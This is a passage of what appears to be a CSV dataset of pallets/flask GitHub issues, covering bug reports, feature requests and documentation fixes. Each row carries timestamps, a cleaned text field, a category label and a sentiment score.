Use something like `@router` in the class to register",,2022-09-13 15:48:18+00:00,2022-09-13 16:41:55+00:00,1,nan,0.0372,class blueprint does flask consider adding a function like running class blueprint use something like in the class to register,others,0.6124
pallets/flask,1370367192,Speed up Dataclass JSON. ,"https://github.com/pallets/flask/blob/c34c84b69085e6bce67d0701b8f8ba3145f42ff2/src/flask/json/provider.py#L116-L117

asdict is super slow and unneeded. It makes a deep copy since the object is being encoded there is no need for a deep copy. 

I can post some alternatives I have rattled around for this. If I remember correctly it was like roughly 10x faster to make a Mapping, and use that  to a dictionary then to use todict for a flat class of 4 immutable fields. The performance difference gets much larger the more complex the DataClass is. Unfortunately Python doesnt support using a Mapping directly so you do still need to convert it into a dictionary. 

I can post some snippets for it. I know I had one that used caching and [this function ](https://docs.python.org/3/library/dataclasses.html#dataclasses.fields) to cache the calls by type. ",,2022-09-12 18:48:43+00:00,2022-09-13 14:29:00+00:00,1,nan,0.8196,speed up dataclass json asdict is super slow and unneeded it makes a deep copy since the object is being encoded there is no need for a deep copy i can post some alternatives i have rattled around for this if i remember correctly it was like roughly x faster to make a mapping and use that to a dictionary then to use todict for a flat class of immutable fields the performance difference gets much larger the more complex the dataclass is unfortunately python doesnt support using a mapping directly so you do still need to convert it into a dictionary i can post some snippets for it i know i had one that used caching and this function to cache the calls by type,others,-0.3523
pallets/flask,1368887507,Refresh after POST always leads to 405,"**What is the bug?**

When you perform the first post request, everything's fine. Each subsequent request (or a page refresh) leads to a 405 error.

**How to Reproduce the error**
Here's the minimum code to replicate the error:

Project Structure
- templates
    - index.html
- main.py

main.py:

```
from flask import Flask, render_template
import json

app = Flask(__name__)


@app.route(""/"")
def home():
    return render_template(""index.html"")


@app.route(""/post"", methods=[""POST""])
def post_test():
    return json.dumps({""test"": True})


if __name__ == ""__main__"":
    app.run(debug=True)
```

index.html:

```
<script>

    async function postSomething() {
        let options = {
            method: ""POST"",
            body: JSON.stringify({ ""name"": ""test"" })
        }
        let request = await fetch(""/post"", options);
        let response = await request.json()
        console.log(response)
    }
</script>

<button onclick=""postSomething()"">
    Click me!
</button>
```

**What do I expect**
I expect to be able to press the button multiple times without getting an error. It seems that Flask puts the form data before the request, which leads to this in the console:

`
127.0.0.1 - - [10/Sep/2022 12:09:52] ""{""name"":""test""}GET / HTTP/1.1"" 405 -
`


I tested the same behaviour with Tornado, which gave me the correct expected result. Here's the minimal code for Tornado:

```
import asyncio
import tornado.web
imp... [TRUNCATED]",,2022-09-11 09:30:08+00:00,2022-09-11 13:40:19+00:00,2,nan,0.1737,refresh after post always leads to what is the bug when you perform the first post request everything s fine each subsequent request or a page refresh leads to a error how to reproduce the error here s the minimum code to replicate the error project structure templates index html main py main py index html what do i expect i expect to be able to press the button multiple times without getting an error it seems that flask puts the form data before the request which leads to this in the console sep name test get http i tested the same behaviour with tornado which gave me the correct expected result here s the minimal code for tornado import asyncio import tornado web imp truncated,others,-0.9217
pallets/flask,1367639077,jsonify breaks in case of mixed type dictionary keys,"As in subject, `jsonify` breaks in case of mixed type dictionary keys e.g. `int` and `str`.

This happens because `json.dumps` is called with `sort_keys=True` with no option ti remove it.

```
>>> from flask import jsonify
>>> jsonify({1: 2, '2': 3})
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
Input In [2], in <cell line: 1>()
----> 1 jsonify({1: 2, '2': 3})

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/__init__.py:342, in jsonify(*args, **kwargs)
    310 def jsonify(*args: t.Any, **kwargs: t.Any) -> Response:
    311     """"""Serialize the given arguments as JSON, and return a
    312     :class:`~flask.Response` object with the ``application/json``
    313     mimetype. A dict or list returned from a view will be converted to a
   (...)
    340     .. versionadded:: 0.2
    341     """"""
--> 342     return current_app.json.response(*args, **kwargs)

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/provider.py:309, in DefaultJSONProvider.response(self, *args, **kwargs)
    305 else:
    306     mimetype = self.mimetype
    308 return self._app.response_class(
--> 309     f""{self.dumps(obj, **dump_args)}\n"", mimetype=mimetype
    310 )

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/provider.py:230, in DefaultJSONProvider.dumps(self, obj, **kwargs)
    228 kwargs.setdefault(""ensu... [TRUNCATED]",,2022-09-09 10:38:48+00:00,2022-09-09 10:56:25+00:00,2,nan,0.0122,jsonify breaks in case of mixed type dictionary keys as in subject breaks in case of mixed type dictionary keys e g and this happens because is called with with no option ti remove it from flask import jsonify jsonify typeerror traceback most recent call last input in in jsonify file apps bca ops py venv lib python site packages flask json init py in jsonify args kwargs def jsonify args t any kwargs t any response serialize the given arguments as json and return a class object with the application json mimetype a dict or list returned from a view will be converted to a versionadded return current app json response args kwargs file apps bca ops py venv lib python site packages flask json provider py in defaultjsonprovider response self args kwargs else mimetype self mimetype return self app response class f self dumps obj dump args n mimetype mimetype file apps bca ops py venv lib python site packages flask json provider py in defaultjsonprovider dumps self obj kwargs kwargs setdefault ensu truncated,others,-0.8979
pallets/flask,1365460493,ValueError: Circular reference detected,"### Discussed in https://github.com/pallets/flask/discussions/4811

<div type='discussions-op-text'>

<sup>Originally posted by **lukemyth** September  8, 2022</sup>
**When I run a flask code, it worked well at the beginning, but one day later it always raised an error. The error message  is as follows:**

[2022-09-08 10:50:36,904] ERROR in app: Exception on /sim [POST]
Traceback (most recent call last):
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File ""flask_main.py"", line 62, in sim
    result = json.dumps(res1,default=json_encoder)#,cls=NpEncoder
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/__init__.py"", line 238, in dumps
    **kw).encode(obj)
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/encoder.py"", lin... [TRUNCATED]",,2022-09-08 03:17:44+00:00,2022-09-08 03:22:52+00:00,1,nan,0.0036,valueerror circular reference detected discussed in originally posted by lukemyth september when i run a flask code it worked well at the beginning but one day later it always raised an error the error message is as follows error in app exception on sim post traceback most recent call last file root miniconda envs simple lib python site packages flask app py line in wsgi app response self full dispatch request file root miniconda envs simple lib python site packages flask app py line in full dispatch request rv self handle user exception e file root miniconda envs simple lib python site packages flask app py line in full dispatch request rv self dispatch request file root miniconda envs simple lib python site packages flask app py line in dispatch request return self ensure sync self view functions rule endpoint req view args file flask main py line in sim result json dumps res default json encoder cls npencoder file root miniconda envs simple lib python json init py line in dumps kw encode obj file root miniconda envs simple lib python json encoder py line in encode chunks self iterencode o one shot true file root miniconda envs simple lib python json encoder py lin truncated,bug,-0.9091
pallets/flask,1364406736,"mypy check error: ""JSONProvider"" has no attribute ""sort_keys""  [attr-defined]","Following the warning `The 'JSON_SORT_KEYS' config key is deprecated and will be removed in Flask 2.3. Set 'app.json.sort_keys' instead` we modified the code to use the mentioned `app.json.sort_keys`. However mypy check fails with the following error:

```
% mypy --install-types --non-interactive 
app.py:24: error: ""JSONProvider"" has no attribute ""sort_keys""  [attr-defined]
```

where the line 24

```
23:    app = Flask(__name__)
24:    app.json.sort_keys = False
```

Environment:

- Python version: 3.10.4
- Flask version: 2.2.2
",,2022-09-07 09:57:41+00:00,2022-09-07 15:37:21+00:00,1,nan,0.2359,mypy check error jsonprovider has no attribute sort keys attr defined following the warning we modified the code to use the mentioned however mypy check fails with the following error where the line environment python version flask version,bug,-0.9081
pallets/flask,1360728252,New bug that never happen in previous version,"**what the bug is:**
werkzeug.routing.exceptions.BuildError: Could not build url for endpoint 'index'. Did you mean 'profile' instead?

**Describe how to replicate the bug.**

Running code from below, which is a guide showing in flask document quickstart

```
`from flask import Flask,url_for

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    return ""<p>Hello, World!</p>""

from markupsafe import escape

@app.route('/user/<username>')
def show_user_profile(username):
    # show the user profile for that user
    return f'User {escape(username)}'

@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return f'Post {post_id}'

@app.route('/user/<username>')
def profile(username):
    return f'{username}\'s profile'

with app.test_request_context():
    print(url_for('index'))
    print(url_for('login'))
    print(url_for('login', next='/'))
    print(url_for('profile', username='John Doe'))`
```


**Describe the expected behavior that should have happened but didn't.**

No errors for these code for previous version of flask. So there should be no problem for this version also

**Environment:**

- Python version: 3.10.6
- Flask version: 2.2.2
",,2022-09-03 02:21:19+00:00,2022-09-03 02:38:45+00:00,0,nan,0.0121,new bug that never happen in previous version what the bug is werkzeug routing exceptions builderror could not build url for endpoint index did you mean profile instead describe how to replicate the bug running code from below which is a guide showing in flask document quickstart describe the that should have happened but didn t no errors for these code for previous version of flask so there should be no problem for this version also environment python version flask version,bug,-0.9455
pallets/flask,1360165146,TypeError: Unicode-objects must be encoded before hashing,"Disclaimer: I'm a newbie.

Hi,

I've started getting a type error recently, and I've tried many things to fix but to no avail.

I believe the issue happened when I moved to the Heroku stack-22 from stack-18 (which I believe meant a Python update from 3.6 to 3.10).

The reason I'm not really sure when it started happening is that this is an issue with the login feature, and before it was working both on desktop and mobile, presumably because the issue wasn't raised when a cookie is present. Once I cleared the cookies on my mobile phone, I discovered the issue, and then I tried to replicate on desktop.

After trying many things, I noticed that this issue is never raised on localhost, but it's always raised on the Heroku deployment. I decided to start again, where I updated to Python 3.10 in desktop and created a clean environment where I installed only the critical libraries for my app to work (see [requirements.txt](https://github.com/pallets/flask/files/9478042/requirements.txt) attached).

Here's the error I get:
<pre>
ERROR in app:   Exception on /login
Traceback (most recent call last):
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 2447, in wsgi_app
response = self.full_dispatch_request()
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 1952, in full_dispatch_request
rv   = self.handle_user_exception(e)
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 1821, in h... [TRUNCATED]",,2022-09-02 13:00:39+00:00,2022-09-02 14:47:46+00:00,1,nan,0.0744,typeerror unicode objects must be encoded before hashing disclaimer i m a newbie hi i ve started getting a type error recently and i ve tried many things to fix but to no avail i believe the issue happened when i moved to the heroku stack from stack which i believe meant a python update from to the reason i m not really sure when it started happening is that this is an issue with the login feature and before it was working both on desktop and mobile presumably because the issue wasn t raised when a cookie is present once i cleared the cookies on my mobile phone i discovered the issue and then i tried to replicate on desktop after trying many things i noticed that this issue is never raised on localhost but it s always raised on the heroku deployment i decided to start again where i updated to python in desktop and created a clean environment where i installed only the critical libraries for my app to work see requirements txt attached here s the error i get error in app exception on login traceback most recent call last file app heroku python lib python site packages flask app py line in wsgi app response self full dispatch request file app heroku python lib python site packages flask app py line in full dispatch request rv self handle user exception e file app heroku python lib python site packages flask app py line in h truncated,bug,-0.8784
pallets/flask,1358580833,Split session across multiple chunks if the session size is too large for a single cookie,"It is not uncommon nowadays for big organizations to have more than one OIDC Provider (OP) for their v1, v2, v3, ...,  APIs. E.g. When moving to next API versions, if there is a change in OP, they keep the same OP for their legacy APIs until deprecation. In such web applications, OIDC tokens that are set in `flask.session` are also multiplied. This increases the size of session to more than 4KB and browsers ignore the set-cookie header silently if the cookie exceeds max-size limit. Browsers support 150-180 cookies per domain and 4KB size per cookie. Large session can be split across multiple chunks and set each chunk as cookie in browser.

# Possible Approach
1. After signing and encoding the session, if the size of the string is more than 4096 bytes, split the string from 4032 byte. 4032 because you have to accommodate for the cookie name.
2. Assign a sequential name to each chunk so that you can combine the string to its original order when loading the session from the cookies. Example names can be session-0, session-1, session-2, etc.
3. On incoming request, combine the cookies, verify their signature and load them into session.
4. When sending a response, check how many cookies are being set this time. If their count is less than the number of cookies that were set last time, that means you have to expire the redundant cookies that were previously set.

E.g.
```python
Request-1 -> No Cookies
Session Created...
Setting 3 chunks as cookies...
Response-1 -> Set-... [TRUNCATED]",,2022-09-01 10:02:51+00:00,2022-09-01 12:06:50+00:00,2,nan,0.0861,split session across multiple chunks if the session size is too large for a single cookie it is not uncommon nowadays for big organizations to have more than one oidc provider op for their v v v apis e g when moving to next api versions if there is a change in op they keep the same op for their legacy apis until deprecation in such web applications oidc tokens that are set in are also multiplied this increases the size of session to more than kb and browsers ignore the set cookie header silently if the cookie exceeds max size limit browsers support cookies per domain and kb size per cookie large session can be split across multiple chunks and set each chunk as cookie in browser possible approach after signing and encoding the session if the size of the string is more than bytes split the string from byte because you have to accommodate for the cookie name assign a sequential name to each chunk so that you can combine the string to its original order when loading the session from the cookies example names can be session session session etc on incoming request combine the cookies verify their signature and load them into session when sending a response check how many cookies are being set this time if their count is less than the number of cookies that were set last time that means you have to expire the redundant cookies that were previously set e g python request no cookies session created setting chunks as cookies response set truncated,others,0.3262
pallets/flask,1357636551,flask crashed ,"Dears,


Hope all is well. 

I have a project, you can say a big project has more than 168 API routes (/x /y /yyy ..etc) 

each of these API routes has a specific function in my project I am facing a big problem that the flask crashed or the flask slower after sending about 1500 - 2000 req/second.

and I notched that the system resource not consumed (I,e my RAM 8 GB the total used is 4 GB and CPU utilization is 40 to 65%) 


so what the issue here? 

and do you have real-world examples company is using your API for a big project?

and what is your recommendations  for the production apps ",,2022-08-31 17:19:22+00:00,2022-08-31 17:27:55+00:00,0,nan,0.0059,flask crashed dears hope all is well i have a project you can say a big project has more than api routes x y yyy etc each of these api routes has a specific function in my project i am facing a big problem that the flask crashed or the flask slower after sending about req second and i notched that the system resource not consumed i e my ram gb the total used is gb and cpu utilization is to so what the issue here and do you have real world examples company is using your api for a big project and what is your recommendations for the production apps,bug,0.6369
pallets/flask,1357478711,PEP 484 – Type Hints & DI,"I think it will be useful to start using core python functionality like type hints so the IDEs can be smarter with the code, so at the end it's time all of will save. And also integrate some Dependency injection ? 

I think the best example for this both cases is FastAPI they have both things and because of that they got a lot of people using the framework and became popular, both of this things are extremely useful and powerful so worth adding.
There's more examples like starlite, etc.. ",,2022-08-31 15:07:48+00:00,2022-08-31 15:20:43+00:00,2,nan,0.009,pep type hints di i think it will be useful to start using core python functionality like type hints so the ides can be smarter with the code so at the end it s time all of will save and also integrate some dependency injection i think the best example for this both cases is fastapi they have both things and because of that they got a lot of people using the framework and became popular both of this things are extremely useful and powerful so worth adding there s more examples like starlite etc,others,0.9809
pallets/flask,1354294387,Link to example project in tutorial is dead (links 2.2.3 instead of 2.2.2),"From docs page : https://flask.palletsprojects.com/en/2.2.x/tutorial/next/ the link is

```
[example project](https://github.com/pallets/flask/tree/2.2.3/examples/tutorial)
```

Which gets a 404 from github - it should be (I _think_)  

```
[example project](https://github.com/pallets/flask/tree/2.2.2/examples/tutorial)
```

In order to work. 

I'm not too sure how sphinx picks up the following tag:

```
:gh:`example project <examples/tutorial>`
```

",docs,2022-08-29 13:23:47+00:00,2022-09-02 15:57:45+00:00,1,docs,4.1069,link to example project in tutorial is dead links instead of from docs page the link is which gets a from github it should be i think in order to work i m not too sure how sphinx picks up the following tag,documentation,-0.7401
pallets/flask,1353348394,runtime exception on flask/global.py,"code: 


```

import typing as t
from contextvars import ContextVar

from werkzeug.local import LocalProxy

if t.TYPE_CHECKING:  # pragma: no cover
    from .app import Flask
    from .ctx import _AppCtxGlobals
    from .ctx import AppContext
    from .ctx import RequestContext
    from .sessions import SessionMixin
    from .wrappers import Request


class _FakeStack:
    def __init__(self, name: str, cv: ContextVar[t.Any]) -> None:
        self.name = name
        self.cv = cv
        self.unbound_message=""""

    def _warn(self):
        import warnings

        warnings.warn(
            f""'_{self.name}_ctx_stack' is deprecated and will be""
            "" removed in Flask 2.3. Use 'g' to store data, or""
            f"" '{self.name}_ctx' to access the current context."",
            DeprecationWarning,
            stacklevel=3,
        )

    def push(self, obj: t.Any) -> None:
        self._warn()
        self.cv.set(obj)

    def pop(self) -> t.Any:
        self._warn()
        ctx = self.cv.get(None)
        self.cv.set(None)
        return ctx

    @property
    def top(self) -> t.Optional[t.Any]:
        self._warn()
        return self.cv.get(None)


_no_app_msg = """"""\
Working outside of application context.

This typically means that you attempted to use functionality that needed
the current application. To solve this, set up an application context
with app.app_context(). See the documentation for more information... [TRUNCATED]",,2022-08-28 13:05:25+00:00,2022-08-28 16:05:05+00:00,0,nan,0.1248,runtime exception on flask global py code import typing as t from contextvars import contextvar from werkzeug local import localproxy if t type checking pragma no cover from app import flask from ctx import appctxglobals from ctx import appcontext from ctx import requestcontext from sessions import sessionmixin from wrappers import request class fakestack def init self name str cv contextvar t any none self name name self cv cv self unbound message def warn self import warnings warnings warn f self name ctx stack is deprecated and will be removed in flask use g to store data or f self name ctx to access the current context deprecationwarning stacklevel def push self obj t any none self warn self cv set obj def pop self t any self warn ctx self cv get none self cv set none return ctx property def top self t optional t any self warn return self cv get none no app msg working outside of application context this typically means that you attempted to use functionality that needed the current application to solve this set up an application context with app app context see the documentation for more information truncated,others,-0.802
pallets/flask,1353123353,Why this code thrown errors?,"### Discussed in https://github.com/pallets/flask/discussions/4787

<div type='discussions-op-text'>

<sup>Originally posted by **NSH531** August 26, 2022</sup>
CODE:


```

import pandas as pd 
""""""
Routes and views for the flask application.
""""""

from datetime import datetime
from xmlrpc.client import DateTime
from flask import render_template
from gimlaot import app

@app.route('/home')
def home():
    """"""Renders the home page.""""""
    return render_template(
        'index.html',
        title='Home Page',
        year=datetime.now().year,
    )
@app.route('/')
def Index():
    import falconpy
    H=falconpy.Hosts(client_id=""__"",client_secret=""___"")
#    t=H.QueryDevicesByFilter(filter='*',limit=555)
    n=datetime.now()
       
    detect=falconpy.Detects(client_id=""__"",client_secret=""___"")
    df=pd.DataFrame(data=(detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""body""][""resources""])))
    assd=[detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""body""][""resources""][0])]
    tdc=pd.DataFrame(detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""bod... [TRUNCATED]",,2022-08-27 19:15:34+00:00,2022-08-27 19:24:44+00:00,0,nan,0.0064,why this code thrown errors discussed in originally posted by nsh august code import pandas as pd routes and views for the flask application from datetime import datetime from xmlrpc client import datetime from flask import render template from gimlaot import app app route home def home renders the home page return render template index html title home page year datetime now year app route def index import falconpy h falconpy hosts client id client secret t h querydevicesbyfilter filter limit n datetime now detect falconpy detects client id client secret df pd dataframe data detect get detect summaries ids detect query detects sort last behavior asc filter f first behavior datetime fromtimestamp n timestamp isoformat limit body resources assd detect get detect summaries ids detect query detects sort last behavior asc filter f first behavior datetime fromtimestamp n timestamp isoformat limit body resources tdc pd dataframe detect get detect summaries ids detect query detects sort last behavior asc filter f first behavior datetime fromtimestamp n timestamp isoformat limit bod truncated,bug,-0.34
pallets/flask,1351534153,Nested blueprint registration causes error when using test-scoped app fixtures,"For apps that use nested blueprints, the way that Flask currently tracks how child blueprints have been registered causes both an error and a warning (that will soon be an error) when creating multiple app objects. This is a problem when testing.

For the below code, `test_2` will fail because `child` has already been registered on `parent`, resulting in
~~~
ValueError: The name 'child' is already registered for this blueprint 'parent.child'. Use 'name=' to provide a unique name.
~~~

Additionally, the second call to `parent.register_blueprint()` emits a warning:
~~~
UserWarning: The setup method 'register_blueprint' can no longer be called on the blueprint 'parent'. It has already been registered at least once, any changes will not be applied consistently.
  Make sure all imports, decorators, functions, etc. needed to set up the blueprint are done before registering it.
  This warning will become an exception in Flask 2.3.
    parent.register_blueprint(child, url_prefix=""/child"")
~~~

~~~py
import pytest

from flask import Blueprint, Flask

parent = Blueprint(""parent"", __name__)
child = Blueprint(""child"", __name__)


def create_app():
    app = Flask(__name__)

    parent.register_blueprint(child, url_prefix=""/child"")
    app.register_blueprint(parent, url_prefix=""/parent"")

    return app


@pytest.fixture
def app():
    app = create_app()
    yield app


def test_1(app):
    pass


def test_2(app):
    pass
~~~

User workaroun... [TRUNCATED]",blueprints,2022-08-25 23:12:01+00:00,2023-02-15 15:07:12+00:00,5,blueprints,173.6633,nested blueprint registration causes error when using test scoped app fixtures for apps that use nested blueprints the way that flask currently tracks how child blueprints have been registered causes both an error and a warning that will soon be an error when creating multiple app objects this is a problem when testing for the below code will fail because has already been registered on resulting in valueerror the name child is already registered for this blueprint parent child use name to provide a unique name additionally the second call to emits a warning userwarning the setup method register blueprint can no longer be called on the blueprint parent it has already been registered at least once any changes will not be applied consistently make sure all imports decorators functions etc needed to set up the blueprint are done before registering it this warning will become an exception in flask parent register blueprint child url prefix child py import pytest from flask import blueprint flask parent blueprint parent name child blueprint child name def create app app flask name parent register blueprint child url prefix child app register blueprint parent url prefix parent return app pytest fixture def app app create app yield app def test app pass def test app pass user workaroun truncated,bug,-0.9371
pallets/flask,1345394253,"CLI flask run describes that uses --debug to enable debugger and reloader, but flask run does not have the -- debug option","flask run --help description:   The reloader and debugger are enabled by default with the '--debug' option.
But when I use flask run --debug, it tells me that there is no --debug option



flask run --debug

<img width=""1201"" alt=""image"" src=""https://user-images.githubusercontent.com/42339097/185777280-d4bfbacb-fef7-41a8-be21-1d14cbf53557.png"">


According to the description of flask run --help, the --debug option should be supported.


Environment:

- Python version: 3.10.6
- Flask version: 2.2.2
",cli,2022-08-21 05:53:46+00:00,2022-12-24 22:39:19+00:00,1,cli,125.6983,cli flask run describes that uses debug to enable debugger and reloader but flask run does not have the debug option flask run help description the reloader and debugger are enabled by default with the debug option but when i use flask run debug it tells me that there is no debug option flask run debug img width alt image src according to the description of flask run help the debug option should be supported environment python version flask version,bug,0.8047
pallets/flask,1344746641,Flask flashing behaviour different in production compared with using flask development server,"### Discussed in https://github.com/pallets/flask/discussions/4770

<div type='discussions-op-text'>

<sup>Originally posted by **hiven** August 17, 2022</sup>
Flask delivers different results depending on whether deployed in production or in development, specifically around flashing messages.

This code fails to show the ""something went wrong"" flash in development but the same code shows the message in production. 

```python
@main_blueprint.route('/view/<items_id>', methods=['GET', 'POST'])
def view_items(items_id):
    item = Items.query.filter_by(id=items_id).first()
    if item:
        flash('Item List Ok')
        return render_template('main/item.html', item=item)
    else:
        flash('Something went wrong')
        return redirect(url_for('main.all_items'))
```

Code used:
https://github.com/hiven/FlaskApp

Environment:

Latest Flask version 2.2, python version 3.8
</div>",,2022-08-19 17:53:28+00:00,2022-08-19 17:58:21+00:00,1,nan,0.0034,flask flashing behaviour different in production compared with using flask development server discussed in originally posted by hiven august flask delivers different results depending on whether deployed in production or in development specifically around flashing messages this code fails to show the something went wrong flash in development but the same code shows the message in production code used environment latest flask version python version,others,-0.4497
pallets/flask,1342660884,flask.g is not an adequate replacement for _request_ctx_stack.top,"I'm migrating a local proxy to replace use of `_request_ctx_stack.top` with `g`, as recommended. This works in runtime use but is breaking tests where the app context is created before the request context. There doesn't seem to be an easy resolution:

1. A test that uses database fixtures with Flask-SQLAlchemy will need an app context. However, if a temporary app context is used, Flask-SQLAlchemy closes the database session on context teardown, and the database objects are expunged. Adding them back to the session ([as pytest-flask-sqlalchemy does](https://github.com/jeancochrane/pytest-flask-sqlalchemy/blob/12ad2fbd7da1005f5fd579a6c260aff527c6ee36/pytest_flask_sqlalchemy/fixtures.py#L66-L73)) creates a test environment that is not similar to runtime and will mask bugs elsewhere.

2. This means the app context must remain in place for the entire test, and a request context is created when needed (say using `test_client.get`). However, in this case, request context teardown will not cause app context teardown and `g` will contain stale data in the next request.

3. I tried using `request_ctx` instead. The problem is `request.copy()` does not copy any additional data in `request_ctx`, so a function decorated with `@copy_current_request_context` will need a replacement decorator to copy additional data. Chaining decorators won't work as the new context created in this decorator is not accessible from another decorator. There is no fix for use of this decorator in other ext... [TRUNCATED]",,2022-08-18 07:15:48+00:00,2022-08-18 13:18:54+00:00,5,nan,0.2522,flask g is not an adequate replacement for request ctx stack top i m migrating a local proxy to replace use of with as recommended this works in runtime use but is breaking tests where the app context is created before the request context there doesn t seem to be an easy resolution a test that uses database fixtures with flask sqlalchemy will need an app context however if a temporary app context is used flask sqlalchemy closes the database session on context teardown and the database objects are expunged adding them back to the session as pytest flask sqlalchemy does creates a test environment that is not similar to runtime and will mask bugs elsewhere this means the app context must remain in place for the entire test and a request context is created when needed say using however in this case request context teardown will not cause app context teardown and will contain stale data in the next request i tried using instead the problem is does not copy any additional data in so a function decorated with will need a replacement decorator to copy additional data chaining decorators won t work as the new context created in this decorator is not accessible from another decorator there is no fix for use of this decorator in other ext truncated,feature,0.9415
pallets/flask,1342042962,Flask 2.2.2 crashes with pytest-asyncio 0.19.0,"Flask 2.2 crashes with a `LookupError` on async test cases when using `pytest-asyncio`:

```shell
pip install flask pytest pytest-asyncio
```

```python
import pytest
from flask import Flask

app = Flask(__name__)


@pytest.fixture
def client():
    with app.test_client() as client:
        yield client


# note this test is async
async def test_foo(client):
    assert client.get(""/"").status_code == 404
```
```
$ pytest repro.py
========================================= test session starts ==========================================
platform linux -- Python 3.10.5, pytest-7.1.2, pluggy-1.0.0
rootdir: /mnt/c/Users/user/git/mitmproxy, configfile: setup.cfg
plugins: asyncio-0.19.0
asyncio: mode=auto
collected 1 item

repro.py .E

================================================ ERRORS ================================================
____________________________________ ERROR at teardown of test_foo _____________________________________

self = <RequestContext 'http://localhost/' [GET] of repro>
exc = LookupError(<ContextVar name='flask.app_ctx' at 0x7f7e5a5599e0>)

    def pop(self, exc: t.Optional[BaseException] = _sentinel) -> None:  # type: ignore
        """"""Pops the request context and unbinds it by doing that.  This will
        also trigger the execution of functions registered by the
        :meth:`~flask.Flask.teardown_request` decorator.

        .. versionchanged:: 0.9
           Added the `exc` argument.
        """"""
     ... [TRUNCATED]",,2022-08-17 16:54:56+00:00,2022-08-17 16:59:12+00:00,2,nan,0.003,flask crashes with pytest asyncio flask crashes with a on async test cases when using pytest repro py test session starts platform linux python pytest pluggy rootdir mnt c users user git mitmproxy configfile setup cfg plugins asyncio asyncio mode auto collected item repro py e errors error at teardown of test foo self exc lookuperror def pop self exc t optional baseexception sentinel none type ignore pops the request context and unbinds it by doing that this will also trigger the execution of functions registered by the meth decorator versionchanged added the argument truncated,bug,-0.6994
pallets/flask,1341992063,waitress command doesn't work,The `waitress-serve` command in the documentation doesn't work due to options (`--host`) needing to come before specifying the app(`main:app`),docs,2022-08-17 16:07:29+00:00,2022-08-17 16:25:06+00:00,0,docs,0.0122,waitress command doesn t work the command in the documentation doesn t work due to options needing to come before specifying the app,documentation,0.0
pallets/flask,1341632403,Flask flashing behaviour different in production compared with using flask development server,"Flask delivers different results depending on whether deployed in production or in development, specifically around flashing messages.

This code fails to show the ""something went wrong"" flash in development but the same code shows the message in production. 

```python
@main_blueprint.route('/view/<items_id>', methods=['GET', 'POST'])
def view_items(items_id):
    item = Items.query.filter_by(id=items_id).first()
    if item:
        flash('Item List Ok')
        return render_template('main/item.html', item=item)
    else:
        flash('Something went wrong')
        return redirect(url_for('main.all_items'))
```

Code used:
https://github.com/hiven/FlaskApp

Environment:

Latest Flask version 2.2, python version 3.8
",,2022-08-17 11:39:27+00:00,2022-08-17 11:41:19+00:00,0,nan,0.0013,flask flashing behaviour different in production compared with using flask development server flask delivers different results depending on whether deployed in production or in development specifically around flashing messages this code fails to show the something went wrong flash in development but the same code shows the message in production code used environment latest flask version python version,others,-0.4497
pallets/flask,1338533369,Erroneous code example in streaming documentation,"The last line of this code in the streaming basic usage documentation is not valid:

```python
@app.route('/large.csv')
def generate_large_csv():
    def generate():
        for row in iter_all_rows():
            yield f""{','.join(row)}\n""
    return generate(), {""Content-Type"": ""text/csv"")
```

I'm opening a PR to revert it to its previous version from 2 months ago.",,2022-08-15 04:43:08+00:00,2022-08-15 04:52:13+00:00,0,nan,0.0063,erroneous code example in streaming documentation the last line of this code in the streaming basic usage documentation is not valid i m opening a pr to revert it to its previous version from months ago,documentation,-0.4215
pallets/flask,1337325283,Flask 2.2.x doesn't allow to load multiple app at the same time.,"### How to reproduce

```python
app1 = Flask(name)
app2 = Flask(name)

with app1.test_client() as app1_client, app2.test_client() as app2_client:
    login_resp = app1_client.post(
        ""/login"",
        data={
            ""email"": email,
            ""password"": password,
        },)

    app2_client.cookie_jar = app1_client.cookie_jar

    res = app2_client.get(""/v1/me"")
    assert res.status_code == 200
```

Running this code raises a `LookupError: <ContextVar name='flask.request_ctx' at 0x7faa98896de0>`

```
../venv/lib/python3.10/site-packages/flask/ctx.py:399: in pop
    self.app.do_teardown_request(exc)
../venv/lib/python3.10/site-packages/flask/app.py:2370: in do_teardown_request
    for name in chain(request.blueprints, (None,)):
../venv/lib/python3.10/site-packages/werkzeug/local.py:316: in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
../venv/lib/python3.10/site-packages/werkzeug/local.py:509: in _get_current_object
    raise RuntimeError(unbound_message) from None
E   RuntimeError: Working outside of request context.
E   
E   This typically means that you attempted to use functionality that needed
E   an active HTTP request. Consult the documentation on testing for
E   information about how to avoid this problem.

During handling of the above exception, another exception occurred:
.... in test_login:
    with app1.test_client() as app1_client, app2.test_client() as app2_client:
